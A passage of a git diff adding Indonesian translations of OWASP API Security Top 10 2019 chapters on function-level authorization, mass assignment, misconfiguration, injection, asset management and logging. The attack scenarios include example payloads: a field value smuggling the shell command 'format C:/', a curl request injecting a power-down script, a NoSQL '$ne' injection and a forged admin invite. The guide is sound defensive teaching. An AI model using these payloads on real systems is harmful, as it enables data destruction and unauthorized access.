[CWE-307: Improper Restriction of Excessive Authentication Attempts][8] +* [CWE-770: Allocation of Resources Without Limits or Throttling][9] +* “_Rate Limiting (Throttling)_” - [Security Strategies for Microservices-based + Application Systems][10], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart-policies---restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#set-ulimits-in-container---ulimit +[5]: https://www.owasp.org/index.php/Blocking_Brute_Force_Attacks +[6]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/Docker_Security_Cheat_Sheet.md#rule-7---limit-resources-memory-cpu-file-descriptors-processes-restarts +[7]: https://github.com/OWASP/CheatSheetSeries/blob/3a8134d792528a775142471b1cb14433b4fda3fb/cheatsheets/REST_Assessment_Cheat_Sheet.md +[8]: https://cwe.mitre.org/data/definitions/307.html +[9]: https://cwe.mitre.org/data/definitions/770.html +[10]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204-draft.pdf \ No newline at end of file diff --git a/editions/2019/id/0xa5-broken-function-level-authorization.md b/editions/2019/id/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..77830cacd --- /dev/null +++ b/editions/2019/id/0xa5-broken-function-level-authorization.md @@ -0,0 +1,64 @@ +# API5:2019 Otorisasi Tingkat Fungsi yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **1** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi membutuhkan penyerang untuk mengirim panggilan API yang sah ke endpoint API yang seharusnya tidak mereka akses. Endpoint ini mungkin terbuka untuk pengguna anonim atau pengguna reguler non-istimewa. Lebih mudah menemukan celah ini di API karena API lebih terstruktur, dan cara mengakses fungsi tertentu lebih dapat diprediksi (misalnya, mengganti metode HTTP dari GET ke PUT, atau mengubah string “users” di URL menjadi "admins"). | Pemeriksaan otorisasi untuk fungsi atau sumber daya biasanya dikelola melalui konfigurasi, dan terkadang di tingkat kode. Mengimplementasikan pemeriksaan yang tepat dapat menjadi tugas yang membingungkan, karena aplikasi modern dapat berisi banyak jenis peran atau kelompok dan hirarki pengguna yang kompleks (misalnya, sub-pengguna, pengguna dengan lebih dari satu peran). | Celah seperti itu memungkinkan penyerang mengakses fungsionalitas yang tidak sah. Fungsi administratif menjadi target utama untuk jenis serangan ini. | + +## Apakah API Rentan? + +Cara terbaik untuk menemukan masalah otorisasi tingkat fungsi yang rusak adalah dengan melakukan analisis mendalam terhadap mekanisme otorisasi, dengan mempertimbangkan hirarki pengguna, peran atau kelompok yang berbeda dalam aplikasi, dan mengajukan pertanyaan berikut: + +* Apakah pengguna reguler dapat mengakses endpoint administratif? +* Apakah pengguna dapat melakukan tindakan sensitif (misalnya, pembuatan, modifikasi, atau penghapusan) yang seharusnya tidak mereka akses dengan hanya mengubah metode HTTP (misalnya, dari `GET` ke `DELETE`)? +* Apakah pengguna dari kelompok X dapat mengakses fungsi yang seharusnya hanya diekspos ke pengguna dari kelompok Y, dengan hanya menebak URL dan parameter endpoint (misalnya, `/api/v1/users/export_all`)? + +Jangan menganggap endpoint API adalah reguler atau administratif hanya berdasarkan jalur URL. + +Meskipun pengembang mungkin memilih untuk mengekspos sebagian besar endpoint administratif di bawah jalur relatif tertentu, seperti `api/admins`, sangat umum menemukan endpoint administratif ini di bawah jalur relatif lain bersama dengan endpoint reguler, seperti `api/users`. + +## Skenario Serangan Contoh + +### Skenario #1 + +Selama proses pendaftaran ke aplikasi yang hanya mengizinkan pengguna diundang untuk bergabung, aplikasi seluler memicu panggilan API ke `GET /api/invites/{invite_guid}`. Respons berisi JSON dengan rincian undangan, termasuk peran pengguna dan email pengguna. + +Seorang penyerang menduplikasi permintaan dan memanipulasi metode HTTP dan endpoint menjadi `POST /api/invites/new`. Endpoint ini hanya boleh diakses oleh administrator menggunakan konsol admin, yang tidak menerapkan pemeriksaan otorisasi tingkat fungsi. + +Penyerang mengeksploitasi masalah ini dan mengirim undangan ke dirinya sendiri untuk membuat akun admin: + +``` +POST /api/invites/new + +{“email”:”hugo@malicious.com”,”role”:”admin”} +``` + +### Skenario #2 + +Sebuah API berisi endpoint yang seharusnya hanya diekspos ke administrator - `GET /api/admin/v1/users/all`. Endpoint ini mengembalikan rincian semua pengguna aplikasi dan tidak menerapkan pemeriksaan otorisasi tingkat fungsi. Seorang penyerang yang mempelajari struktur API membuat tebakan terdidik dan berhasil mengakses endpoint ini, yang mengekspos rincian sensitif pengguna aplikasi. + +## Cara Mencegah + +Aplikasi Anda harus memiliki modul otorisasi yang konsisten dan mudah dianalisis yang dipanggil dari semua fungsi bisnis Anda. Seringkali, perlindungan tersebut disediakan oleh satu atau lebih komponen eksternal untuk kode aplikasi. + +* Mekanisme penegakan harus menolak semua akses secara default, membutuhkan izin eksplisit ke peran tertentu untuk mengakses setiap fungsi. +* Tinjau endpoint API Anda terhadap celah otorisasi tingkat fungsi, dengan mempertimbangkan logika bisnis aplikasi dan hirarki kelompok. +* Pastikan semua pengendali administrasi Anda mewarisi pengendali abstrak administratif yang menerapkan pemeriksaan otorisasi berdasarkan grup/peran pengguna. +* Pastikan fungsi administratif di dalam pengendali reguler menerapkan pemeriksaan otorisasi berdasarkan grup dan peran pengguna. + +## Referensi + +### OWASP + +* [Artikel OWASP tentang Forced Browsing][1] +* [OWASP Top 10 2013-A7-Missing Function Level Access Control][2] +* [OWASP Development Guide: Bab tentang Otorisasi][3] + +### Eksternal + +* [CWE-285: Otorisasi yang Tidak Tepat][4] + +[1]: https://www.owasp.org/index.php/Forced_browsing +[2]: https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control +[3]: https://www.owasp.org/index.php/Category:Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html \ No newline at end of file diff --git a/editions/2019/id/0xa6-mass-assignment.md b/editions/2019/id/0xa6-mass-assignment.md new file mode 100644 index 000000000..99ffb848e --- /dev/null +++ b/editions/2019/id/0xa6-mass-assignment.md @@ -0,0 +1,63 @@ +# API6:2019 - Mass Assignment + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi biasanya memerlukan pemahaman tentang logika bisnis, hubungan objek, dan struktur API. Eksploitasi penugasan massal lebih mudah dalam API, karena secara desain mereka mengekspos implementasi aplikasi yang mendasari beserta nama properti. | Kerangka kerja modern mendorong pengembang untuk menggunakan fungsi yang secara otomatis mengikat masukan dari klien ke dalam variabel kode dan objek internal. Penyerang dapat menggunakan metodologi ini untuk memperbarui atau menimpa properti objek sensitif yang sebenarnya tidak dimaksudkan untuk diekspos oleh pengembang. | Eksploitasi dapat menyebabkan eskalasi hak istimewa, perusakan data, menghindari mekanisme keamanan, dan lainnya. | + +## Apakah API Rentan? + +Objek dalam aplikasi modern mungkin berisi banyak properti. Beberapa properti ini harus diperbarui langsung oleh klien (misalnya, `user.first_name` atau `user.address`) dan beberapa tidak boleh (misalnya, flag `user.is_vip`). + +Titik akhir API rentan jika secara otomatis mengubah parameter klien menjadi properti objek internal, tanpa mempertimbangkan sensitivitas dan tingkat paparan properti tersebut. Hal ini bisa memungkinkan penyerang untuk memperbarui properti objek yang seharusnya tidak mereka akses. + +Contoh properti sensitif: + +* **Properti terkait izin**: `user.is_admin`, `user.is_vip` hanya boleh diatur oleh admin. +* **Properti tergantung proses**: `user.cash` hanya boleh diatur secara internal setelah verifikasi pembayaran. +* **Properti internal**: `article.created_time` hanya boleh diatur secara internal oleh aplikasi. + +## Skenario Serangan Contoh + +### Skenario #1 + +Aplikasi berbagi tumpangan memberi pengguna opsi untuk mengedit informasi dasar untuk profil mereka. Selama proses ini, panggilan API dikirim ke `PUT /api/v1/users/me` dengan objek JSON yang sah: + +```json +{"user_name":"inons","age":24} +``` + +Permintaan `GET /api/v1/users/me` menyertakan properti credit_balance tambahan: + +```json +{"user_name":"inons","age":24,"credit_balance":10} +``` + +Penyerang memutar ulang permintaan pertama dengan payload berikut: + +```json +{"user_name":"attacker","age":60,"credit_balance":99999} +``` + +Karena endpoint rentan terhadap penugasan massal, penyerang menerima kredit tanpa membayar. + +### Skenario #2 + +Portal berbagi video memungkinkan pengguna mengunggah konten dan mengunduh konten dalam format yang berbeda. Seorang penyerang yang menjelajahi API menemukan bahwa endpoint `GET /api/v1/videos/{video_id}/meta_data` mengembalikan objek JSON dengan properti video. Salah satu propertinya adalah `"mp4_conversion_params":"-v codec h264"` yang menunjukkan bahwa aplikasi menggunakan perintah shell untuk mengubah video. + +Penyerang juga menemukan endpoint `POST /api/v1/videos/new` rentan terhadap penugasan massal dan memungkinkan klien mengatur properti apa pun dari objek video. Penyerang menetapkan nilai berbahaya sebagai berikut: `"mp4_conversion_params":"-v codec h264 && format C:/"`. Nilai ini akan menyebabkan injeksi perintah shell setelah penyerang mengunduh video sebagai MP4. + +## Cara Mencegah + +* Jika memungkinkan, hindari menggunakan fungsi yang secara otomatis mengikat masukan klien ke dalam variabel kode atau objek internal. +* Daftar putih hanya properti yang seharusnya diperbarui oleh klien. +* Gunakan fitur bawaan untuk daftar hitam properti yang tidak boleh diakses oleh klien. +* Jika berlaku, tentukan dan tegakkan secara eksplisit skema untuk muatan data masukan. + +## Referensi + +### Eksternal + +* [CWE-915: Pengontrolan yang Tidak Tepat dari Modifikasi Atribut Objek yang Ditentukan Secara Dinamis][1] + +[1]: https://cwe.mitre.org/data/definitions/915.html \ No newline at end of file diff --git a/editions/2019/id/0xa7-security-misconfiguration.md b/editions/2019/id/0xa7-security-misconfiguration.md new file mode 100644 index 000000000..2dd28665b --- /dev/null +++ b/editions/2019/id/0xa7-security-misconfiguration.md @@ -0,0 +1,80 @@ +# API7:2019 Kesalahan Konfigurasi Keamanan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis | +| Penyerang sering mencoba menemukan celah yang tidak diperbarui, endpoint umum, atau file dan direktori yang tidak dilindungi untuk mendapatkan akses yang tidak sah atau pengetahuan tentang sistem. | Kesalahan konfigurasi keamanan dapat terjadi pada setiap level tumpukan API, dari level jaringan hingga level aplikasi. Alat otomatis tersedia untuk mendeteksi dan memanfaatkan kesalahan konfigurasi seperti layanan yang tidak perlu atau opsi warisan. | Kesalahan konfigurasi keamanan tidak hanya dapat mengekspos data pengguna yang sensitif, tetapi juga rincian sistem yang dapat mengarah ke kompromi server penuh. | + +## Apakah API Rentan? + +API mungkin rentan jika: + +* Pengerasan keamanan yang tepat hilang di bagian mana pun dari tumpukan aplikasi, atau jika memiliki izin yang dikonfigurasi dengan salah pada layanan cloud. +* Perbaikan keamanan terbaru hilang, atau sistemnya sudah ketinggalan zaman. +* Fitur yang tidak perlu diaktifkan (misalnya, kata kerja HTTP). +* Keamanan Lapisan Transport (TLS) hilang. +* Direktif keamanan tidak dikirim ke klien (misalnya, [Security Headers][1]). +* Kebijakan Berbagi Sumber Daya Lintas Asal (CORS) hilang atau disetel dengan salah. +* Pesan kesalahan termasuk jejak tumpukan, atau informasi sensitif lainnya terekspos. + +## Skenario Serangan Contoh + +### Skenario #1 + +Seorang penyerang menemukan file `.bash_history` di bawah direktori root server, yang berisi perintah yang digunakan oleh tim DevOps untuk mengakses API: + +``` +$ curl -X GET 'https://api.server/endpoint/' -H 'authorization: Basic Zm9vOmJhcg==' +``` + +Penyerang juga bisa menemukan endpoint baru pada API yang hanya digunakan oleh tim DevOps dan tidak didokumentasikan. + +### Skenario #2 + +Untuk menargetkan layanan tertentu, seorang penyerang menggunakan mesin pencari populer untuk mencari komputer yang dapat diakses langsung dari Internet. Penyerang menemukan host yang menjalankan sistem manajemen basis data populer, mendengarkan di port default. Host tersebut menggunakan konfigurasi default, yang secara default menonaktifkan otentikasi, dan penyerang mendapatkan akses ke jutaan catatan dengan PII, preferensi pribadi, dan data otentikasi. + +### Skenario #3 + +Memeriksa lalu lintas aplikasi seluler, penyerang mengetahui bahwa tidak semua lalu lintas HTTP dilakukan pada protokol aman (misalnya, TLS). Penyerang menemukan ini benar, khususnya untuk mengunduh gambar profil. Karena interaksi pengguna bersifat biner, meskipun lalu lintas API dilakukan pada protokol yang aman, penyerang menemukan pola pada ukuran respons API, yang dia gunakan untuk melacak preferensi pengguna atas konten yang dirender (misalnya, gambar profil). + +## Cara Mencegah + +Siklus hidup API harus mencakup: + +* Proses pengerasan yang dapat diulang yang mengarah ke penyebaran yang cepat dan mudah dari lingkungan yang dikunci dengan benar. +* Tugas untuk meninjau dan memperbarui konfigurasi di seluruh tumpukan API. Tinjauan harus mencakup: file orchestrasi, komponen API, dan layanan cloud (misalnya, izin bucket S3). +* Saluran komunikasi yang aman untuk semua interaksi akses API ke aset statis (misalnya, gambar). +* Proses otomatis untuk secara kontinu menilai efektivitas konfigurasi dan pengaturan di semua lingkungan. + +Selanjutnya: + +* Untuk mencegah jejak pengecualian dan informasi berharga lainnya dikirim kembali ke penyerang, jika berlaku, tentukan dan tegakkan semua skema muatan respons API termasuk respons kesalahan. +* Pastikan API hanya dapat diakses oleh kata kerja HTTP yang ditentukan. Semua kata kerja HTTP lainnya harus dinonaktifkan (misalnya, `HEAD`). +* API yang diharapkan dapat diakses dari klien berbasis browser (misalnya, front-end WebApp) harus menerapkan kebijakan Berbagi Sumber Daya Lintas Asal (CORS) yang tepat. + +## Referensi + +### OWASP + +* [OWASP Secure Headers Project][1] +* [OWASP Testing Guide: Configuration Management][2] +* [OWASP Testing Guide: Testing for Error Codes][3] +* [OWASP Testing Guide: Test Cross Origin Resource Sharing][9] + +### Eksternal + +* [CWE-2: Kelemahan Keamanan Lingkungan][4] +* [CWE-16: Konfigurasi][5] +* [CWE-388: Penanganan Kesalahan][6] +* [Panduan Keamanan Server Umum][7], NIST +* [Let’s Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka][8] + +[1]: https://www.owasp.org/index.php/OWASP_Secure_Headers_Project +[2]: https://www.owasp.org/index.php/Testing_for_configuration_management +[3]: https://www.owasp.org/index.php/Testing_for_Error_Code_(OTG-ERR-001) +[4]: https://cwe.mitre.org/data/definitions/2.html +[5]: https://cwe.mitre.org/data/definitions/16.html +[6]: https://cwe.mitre.org/data/definitions/388.html +[7]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[8]: https://letsencrypt.org/ +[9]: https://www.owasp.org/index.php/Test_Cross_Origin_Resource_Sharing_(OTG-CLIENT-007) \ No newline at end of file diff --git a/editions/2019/id/0xa8-injection.md b/editions/2019/id/0xa8-injection.md new file mode 100644 index 000000000..09d232c53 --- /dev/null +++ b/editions/2019/id/0xa8-injection.md @@ -0,0 +1,88 @@ +# API8:2019 Injeksi + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **3** | Teknis **3** : Spesifik Bisnis | +| Penyerang akan memberi makan API dengan data berbahaya melalui vektor injeksi apa pun yang tersedia (misalnya, input langsung, parameter, layanan terintegrasi, dll.), berharap itu dikirim ke interpreter. | Celah injeksi sangat umum dan sering ditemukan dalam kueri SQL, LDAP, atau NoSQL, perintah OS, parser XML, dan ORM. Celah ini mudah ditemukan saat meninjau kode sumber. Penyerang dapat menggunakan scanner dan fuzzer. | Injeksi dapat menyebabkan pengungkapan informasi dan kehilangan data. Itu juga dapat menyebabkan DoS, atau pengambilalihan host secara total. | + +## Apakah API Rentan? + +API rentan terhadap celah injeksi jika: + +* Data yang disediakan klien tidak divalidasi, difilter, atau disucihamakan oleh API. +* Data yang disediakan klien digunakan langsung atau digabungkan ke kueri SQL/NoSQL/LDAP, perintah OS, parser XML, dan Pemetaan Objek Relasional (ORM)/Pemetaan Dokumen Objek (ODM). +* Data yang berasal dari sistem eksternal (misalnya, sistem terintegrasi) tidak divalidasi, difilter, atau disucihamakan oleh API. + +## Skenario Serangan Contoh + +### Skenario #1 + +Firmware dari perangkat kontrol orang tua menyediakan endpoint `/api/CONFIG/restore` yang mengharapkan appId dikirim sebagai parameter multipart. Menggunakan dekompiler, seorang penyerang mengetahui bahwa appId dilewatkan langsung ke panggilan sistem tanpa pembersihan apa pun: + +```c +snprintf(cmd, 128, "%srestore_backup.sh /tmp/postfile.bin %s %d", + "/mnt/shares/usr/bin/scripts/", appid, 66); +system(cmd); +``` + +Perintah berikut memungkinkan penyerang mematikan perangkat mana pun dengan firmware yang sama yang rentan: + +``` +$ curl -k "https://${deviceIP}:4567/api/CONFIG/restore" -F 'appid=$(/etc/pod/power_down.sh)' +``` + +### Skenario #2 + +Kami memiliki aplikasi dengan fungsionalitas CRUD dasar untuk operasi dengan pemesanan. Seorang penyerang berhasil mengidentifikasi bahwa injeksi NoSQL mungkin dimungkinkan melalui parameter string kueri `bookingId` dalam permintaan penghapusan pemesanan. Beginilah permintaannya: `DELETE /api/bookings?bookingId=678`. + +Server API menggunakan fungsi berikut untuk menangani permintaan penghapusan: + +```javascript +router.delete('/bookings', async function (req, res, next) { + try { + const deletedBooking = await Bookings.findOneAndRemove({'_id' : req.query.bookingId}); + res.status(200); + } catch (err) { + res.status(400).json({error: 'Unexpected error occured while processing a request'}); + } +}); +``` + +Penyerang menyadap permintaan dan mengubah parameter string kueri `bookingId` seperti di bawah ini. Dalam hal ini, penyerang berhasil menghapus pemesanan pengguna lain: + +``` +DELETE /api/bookings?bookingId[$ne]=678 +``` + +## Cara Mencegah + +Mencegah injeksi memerlukan pemisahan data dari perintah dan kueri. + +* Lakukan validasi data menggunakan satu pustaka yang tepercaya dan dikelola secara aktif. +* Validasi, filter, dan sucikan semua data yang disediakan klien, atau data lainnya yang berasal dari sistem terintegrasi. +* Karakter khusus harus dilepas menggunakan sintaks spesifik untuk interpreter tujuan. +* Lebih baik menggunakan API yang aman yang menyediakan antarmuka terparameter. +* Selalu batasi jumlah catatan yang dikembalikan untuk mencegah pengungkapan massal jika terjadi injeksi. +* Validasi data masuk menggunakan filter yang cukup untuk hanya mengizinkan nilai yang valid untuk setiap parameter input. +* Tentukan jenis data dan pola ketat untuk semua parameter string. + +## Referensi + +### OWASP + +* [OWASP Injection Flaws][1] +* [SQL Injection][2] +* [NoSQL Injection Fun with Objects and Arrays][3] +* [Command Injection][4] + +### Eksternal + +* [CWE-77: Command Injection][5] +* [CWE-89: SQL Injection][6] + +[1]: https://www.owasp.org/index.php/Injection_Flaws +[2]: https://www.owasp.org/index.php/SQL_Injection +[3]: https://www.owasp.org/images/e/ed/GOD16-NOSQL.pdf +[4]: https://www.owasp.org/index.php/Command_Injection +[5]: https://cwe.mitre.org/data/definitions/77.html +[6]: https://cwe.mitre.org/data/definitions/89.html \ No newline at end of file diff --git a/editions/2019/id/0xa9-improper-assets-management.md b/editions/2019/id/0xa9-improper-assets-management.md new file mode 100644 index 000000000..ad0ac8f0a --- /dev/null +++ b/editions/2019/id/0xa9-improper-assets-management.md @@ -0,0 +1,53 @@ +# API9:2019 Pengelolaan Aset yang Tidak Tepat + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Versi API lama biasanya tidak diperbarui dan merupakan cara mudah untuk mengkompromikan sistem tanpa harus melawan mekanisme keamanan mutakhir, yang mungkin ada untuk melindungi versi API terbaru. | Dokumentasi yang sudah ketinggalan zaman membuatnya lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Kurangnya inventarisasi aset dan strategi pensiun menyebabkan menjalankan sistem yang tidak diperbarui, yang mengakibatkan kebocoran data sensitif. Umum ditemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikroservis, yang memudahkan aplikasi untuk diterapkan dan independen (misalnya, komputasi cloud, k8s). | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server melalui versi API lama yang tidak diperbarui yang terhubung ke basis data yang sama. | + +## Apakah API Rentan? + +API mungkin rentan jika: + +* Tujuan dari host API tidak jelas, dan tidak ada jawaban eksplisit untuk pertanyaan berikut: + * Lingkungan apa API berjalan (misalnya, produksi, staging, pengujian, pengembangan)? + * Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)? + * Versi API apa yang berjalan? + * Data apa yang dikumpulkan dan diproses oleh API (misalnya, PII)? + * Bagaimana aliran datanya? +* Tidak ada dokumentasi, atau dokumentasi yang ada tidak diperbarui. +* Tidak ada rencana pensiun untuk setiap versi API. +* Inventarisasi host hilang atau ketinggalan zaman. +* Inventarisasi layanan terintegrasi, baik pihak pertama maupun ketiga, hilang atau ketinggalan zaman. +* Versi API lama atau sebelumnya berjalan tanpa patch. + +## Skenario Serangan Contoh + +### Skenario #1 + +Setelah merancang ulang aplikasi mereka, layanan pencarian lokal meninggalkan versi API lama (`api.someservice.com/v1`) berjalan, tidak dilindungi, dan dengan akses ke basis data pengguna. Saat menargetkan salah satu aplikasi rilis terbaru, seorang penyerang menemukan alamat API (`api.someservice.com/v2`). Mengganti `v2` dengan `v1` di URL memberi penyerang akses ke API lama, tidak dilindungi, yang memaparkan informasi identifikasi pribadi (PII) lebih dari 100 juta pengguna. + +### Skenario #2 + +Sebuah jaringan sosial menerapkan mekanisme pembatasan laju yang memblokir penyerang dari menggunakan brute-force untuk menebak token reset kata sandi. Mekanisme ini tidak diimplementasikan sebagai bagian dari kode API itu sendiri, tetapi dalam komponen terpisah antara klien dan API resmi (`www.socialnetwork.com`). Seorang peneliti menemukan host API beta (`www.mbasic.beta.socialnetwork.com`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi, tetapi mekanisme pembatasan laju tidak diterapkan. Peneliti dapat mereset kata sandi pengguna mana pun dengan menggunakan brute-force sederhana untuk menebak token 6 digit. + +## Cara Mencegah + +* Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing, berfokus pada lingkungan API (misalnya, produksi, staging, pengujian, pengembangan), siapa yang seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API. +* Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya. +* Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju, kebijakan berbagi sumber daya lintas asal (CORS) dan endpoint, termasuk parameter, permintaan, dan respons mereka. +* Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam pipeline CI/CD Anda. +* Buat dokumentasi API tersedia untuk mereka yang berwenang menggunakan API. +* Gunakan langkah-langkah perlindungan eksternal seperti firewall keamanan API untuk semua versi terekspos API Anda, bukan hanya untuk versi produksi saat ini. +* Hindari menggunakan data produksi dengan penerapan API non-produksi. Jika ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan produksi. +* Ketika versi API yang lebih baru mencakup peningkatan keamanan, lakukan analisis risiko untuk membuat keputusan tindakan mitigasi yang diperlukan untuk versi yang lebih tua: misalnya, apakah mungkin menerapkan peningkatan tanpa merusak kompatibilitas API atau Anda perlu menarik versi yang lebih tua dengan cepat dan memaksa semua klien beralih ke versi terbaru. + +## Referensi + +### Eksternal + +* [CWE-1059: Dokumentasi yang Tidak Lengkap][1] +* [Inisiatif OpenAPI][2] + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://www.openapis.org/ diff --git a/editions/2019/id/0xaa-insufficient-logging-monitoring.md b/editions/2019/id/0xaa-insufficient-logging-monitoring.md new file mode 100644 index 000000000..f8a24253c --- /dev/null +++ b/editions/2019/id/0xaa-insufficient-logging-monitoring.md @@ -0,0 +1,56 @@ +# API10:2019 Pencatatan & Pemantauan yang Tidak Memadai + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **1** | Teknis **2** : Spesifik Bisnis | +| Penyerang memanfaatkan kurangnya pencatatan dan pemantauan untuk menyalahgunakan sistem tanpa disadari. | Tanpa pencatatan dan pemantauan, atau dengan pencatatan dan pemantauan yang tidak memadai, hampir mustahil untuk melacak kegiatan mencurigakan dan menanggapinya tepat waktu. | Tanpa visibilitas atas kegiatan berbahaya yang sedang berlangsung, penyerang memiliki banyak waktu untuk sepenuhnya mengkompromikan sistem. | + +## Apakah API Rentan? + +API rentan jika: + +* Tidak menghasilkan log apa pun, level pencatatan tidak disetel dengan benar, atau pesan log tidak menyertakan detail yang cukup. +* Integritas log tidak dijamin (misalnya, [Log Injection][1]). +* Log tidak dipantau secara terus menerus. +* Infrastruktur API tidak dipantau secara terus menerus. + +## Skenario Serangan Contoh + +### Skenario #1 + +Kunci akses administratif API bocor di repositori publik. Pemilik repositori diberi tahu melalui email tentang kebocoran potensial, tetapi membutuhkan waktu lebih dari 48 jam untuk menindaklanjuti insiden, dan paparan kunci akses mungkin telah mengizinkan akses ke data sensitif. Karena pencatatan yang tidak memadai, perusahaan tidak dapat menilai data apa yang diakses oleh aktor berbahaya. + +### Skenario #2 + +Platform berbagi video terkena serangan "skala besar" stuffing kredensial. Meskipun login gagal dicatat, tidak ada peringatan yang dipicu selama rentang waktu serangan. Sebagai reaksi atas keluhan pengguna, log API dianalisis dan serangan terdeteksi. Perusahaan harus membuat pengumuman publik yang meminta pengguna mereset kata sandi mereka, dan melaporkan insiden kepada otoritas peraturan. + +## Cara Mencegah + +* Catat semua upaya otentikasi gagal, akses yang ditolak, dan kesalahan validasi input. +* Log harus ditulis menggunakan format yang sesuai untuk dikonsumsi oleh solusi manajemen log, dan harus mencakup detail yang cukup untuk mengidentifikasi pelaku jahat. +* Log harus ditangani sebagai data sensitif, dan integritasnya harus dijamin saat diam dan dalam transit. +* Konfigurasikan sistem pemantauan untuk secara terus menerus memantau infrastruktur, jaringan, dan fungsi API. +* Gunakan sistem Manajemen Informasi dan Keamanan (SIEM) untuk menggabungkan dan mengelola log dari semua komponen tumpukan API dan host. +* Konfigurasikan dashboard dan peringatan kustom, memungkinkan kegiatan mencurigakan terdeteksi dan direspon lebih awal. + +## Referensi + + +### OWASP + +* [OWASP Logging Cheat Sheet][2] +* [OWASP Proactive Controls: Implement Logging and Intrusion Detection][3] +* [OWASP Application Security Verification Standard: V7: Error Handling and + Logging Verification Requirements][4] + +### Eksternal + +* [CWE-223: Omission of Security-relevant Information][5] +* [CWE-778: Insufficient Logging][6] + +[1]: https://www.owasp.org/index.php/Log_Injection +[2]: https://www.owasp.org/index.php/Logging_Cheat_Sheet +[3]: https://www.owasp.org/index.php/OWASP_Proactive_Controls +[4]: https://github.com/OWASP/ASVS/blob/master/4.0/en/0x15-V7-Error-Logging.md +[5]: https://cwe.mitre.org/data/definitions/223.html +[6]: https://cwe.mitre.org/data/definitions/778.html diff --git a/editions/2019/id/0xb0-next-devs.md b/editions/2019/id/0xb0-next-devs.md new file mode 100644 index 000000000..a3f6074ba --- /dev/null +++ b/editions/2019/id/0xb0-next-devs.md @@ -0,0 +1,31 @@ +# Apa Selanjutnya untuk Pengembang + +Tugas untuk membuat dan memelihara perangkat lunak yang aman, atau memperbaiki perangkat lunak yang ada, dapat sulit. API tidak berbeda. + +Kami yakin bahwa pendidikan dan kesadaran adalah faktor kunci untuk menulis perangkat lunak yang aman. Semua hal lain yang diperlukan untuk mencapai tujuan, bergantung pada **membangun dan menggunakan proses keamanan yang dapat diulang dan kontrol keamanan standar**. + +OWASP memiliki berbagai sumber daya gratis dan terbuka untuk mengatasi masalah keamanan sejak awal proyek. Silakan kunjungi halaman [Proyek OWASP][1] untuk daftar lengkap proyek yang tersedia. + +| | | +|-|-| +| **Pendidikan** | Anda dapat mulai membaca [materi Proyek Pendidikan OWASP][2] sesuai dengan profesi dan minat Anda. Untuk pembelajaran hands-on, kami menambahkan **crAPI** - **C**ompletely **R**idiculous **API** dalam [roadmap kami][3]. Sementara itu, Anda dapat berlatih WebAppSec menggunakan [Modul Pixi DevSlop OWASP][4], layanan WebApp dan API rentan yang bertujuan untuk mengajari pengguna cara menguji aplikasi web dan API modern untuk masalah keamanan, dan cara menulis API yang lebih aman di masa depan. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec][5], atau [bergabung dengan chapter lokal Anda][6]. | +| **Persyaratan Keamanan** | Keamanan harus menjadi bagian dari setiap proyek sejak awal. Saat melakukan elicitation persyaratan, penting untuk mendefinisikan apa artinya "aman" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [OWASP Application Security Verification Standard (ASVS)][7] sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda outsourcing, pertimbangkan [OWASP Secure Software Contract Annex][8], yang harus disesuaikan sesuai hukum dan peraturan setempat. | +| **Arsitektur Keamanan** | Keamanan harus tetap menjadi perhatian selama semua tahapan proyek. [OWASP Prevention Cheat Sheets][9] merupakan titik awal yang baik untuk panduan tentang cara merancang keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [REST Security Cheat Sheet][10] dan [REST Assessment Cheat Sheet][11]. | +| **Kontrol Keamanan Standar** | Mengadopsi Kontrol Keamanan Standar mengurangi risiko memperkenalkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun fakta banyak kerangka kerja modern sekarang datang dengan kontrol efektif standar bawaan, [OWASP Proactive Controls][12] memberi Anda gambaran yang baik tentang kontrol 